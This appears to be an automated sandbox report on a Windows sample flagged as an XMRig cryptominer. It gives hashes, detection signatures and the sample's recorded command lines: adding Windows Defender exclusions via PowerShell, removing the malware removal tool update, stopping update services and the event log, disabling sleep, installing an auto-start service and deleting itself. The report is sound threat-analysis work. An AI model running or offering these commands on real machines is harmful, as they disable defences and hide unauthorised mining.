Analysis
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max time kernel
120s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19-12-2024 06:02
Static task
static1
Behavioral task
behavioral1
Sample
30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe
Resource
win7-20240903-en
General
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Target
30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe
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Size
5.6MB
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MD5
f8694f6a3b022fa4d93649ecf8ee86d0
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SHA1
dee47ed9d0e43c292248a6fdb7594e57b3e3c164
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SHA256
30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9
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SHA512
440dfd616dab73d7b64162ae5e31850e975d7dc5a95b2f5f39b6439ba0c81a7d75742bc18d88a9a05936a77363e2f42341b3fd3627db77a0587d55126f6cb860
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2112-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2112-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2112-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2112-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2112-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2112-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2112-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2112-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2712 powershell.exe 1916 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2860 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 2056 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2456 powercfg.exe 2180 powercfg.exe 792 powercfg.exe 1020 powercfg.exe 1248 powercfg.exe 1484 powercfg.exe 2536 powercfg.exe 2952 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2056 set thread context of 2092 2056 fqwofdtexigy.exe 84 PID 2056 set thread context of 2112 2056 fqwofdtexigy.exe 89 -
resource yara_rule behavioral1/memory/2112-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2112-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 576 sc.exe 2612 sc.exe 1924 sc.exe 2176 sc.exe 1760 sc.exe 2728 sc.exe 2620 sc.exe 3004 sc.exe 1852 sc.exe 1732 sc.exe 2624 sc.exe 2840 sc.exe 2888 sc.exe 1796 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c03f70addb51db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2712 powershell.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2688 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe 2056 fqwofdtexigy.exe 1916 powershell.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2056 fqwofdtexigy.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe 2112 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2712 powershell.exe Token: SeShutdownPrivilege 1248 powercfg.exe Token: SeShutdownPrivilege 1020 powercfg.exe Token: SeShutdownPrivilege 792 powercfg.exe Token: SeShutdownPrivilege 1484 powercfg.exe Token: SeDebugPrivilege 1916 powershell.exe Token: SeShutdownPrivilege 2456 powercfg.exe Token: SeShutdownPrivilege 2952 powercfg.exe Token: SeShutdownPrivilege 2180 powercfg.exe Token: SeShutdownPrivilege 2536 powercfg.exe Token: SeLockMemoryPrivilege 2112 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2732 wrote to memory of 2568 2732 cmd.exe 38 PID 2732 wrote to memory of 2568 2732 cmd.exe 38 PID 2732 wrote to memory of 2568 2732 cmd.exe 38 PID 2860 wrote to memory of 2104 2860 cmd.exe 63 PID 2860 wrote to memory of 2104 2860 cmd.exe 63 PID 2860 wrote to memory of 2104 2860 cmd.exe 63 PID 2012 wrote to memory of 2892 2012 cmd.exe 71 PID 2012 wrote to memory of 2892 2012 cmd.exe 71 PID 2012 wrote to memory of 2892 2012 cmd.exe 71 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2092 2056 fqwofdtexigy.exe 84 PID 2056 wrote to memory of 2112 2056 fqwofdtexigy.exe 89 PID 2056 wrote to memory of 2112 2056 fqwofdtexigy.exe 89 PID 2056 wrote to memory of 2112 2056 fqwofdtexigy.exe 89 PID 2056 wrote to memory of 2112 2056 fqwofdtexigy.exe 89 PID 2056 wrote to memory of 2112 2056 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe"C:\Users\Admin\AppData\Local\Temp\30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2688 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2712
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2568
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2728
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2612
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2620
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3004
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1924
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:792
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1020
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1248
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1484
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:576
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2176
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1852
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2624
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2104
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1916
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2892
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2840
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2888
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1796
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1732
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1760
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2536
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2952
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2456
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2180
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2092
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2112
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5f8694f6a3b022fa4d93649ecf8ee86d0
SHA1dee47ed9d0e43c292248a6fdb7594e57b3e3c164
SHA25630524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9
SHA512440dfd616dab73d7b64162ae5e31850e975d7dc5a95b2f5f39b6439ba0c81a7d75742bc18d88a9a05936a77363e2f42341b3fd3627db77a0587d55126f6cb860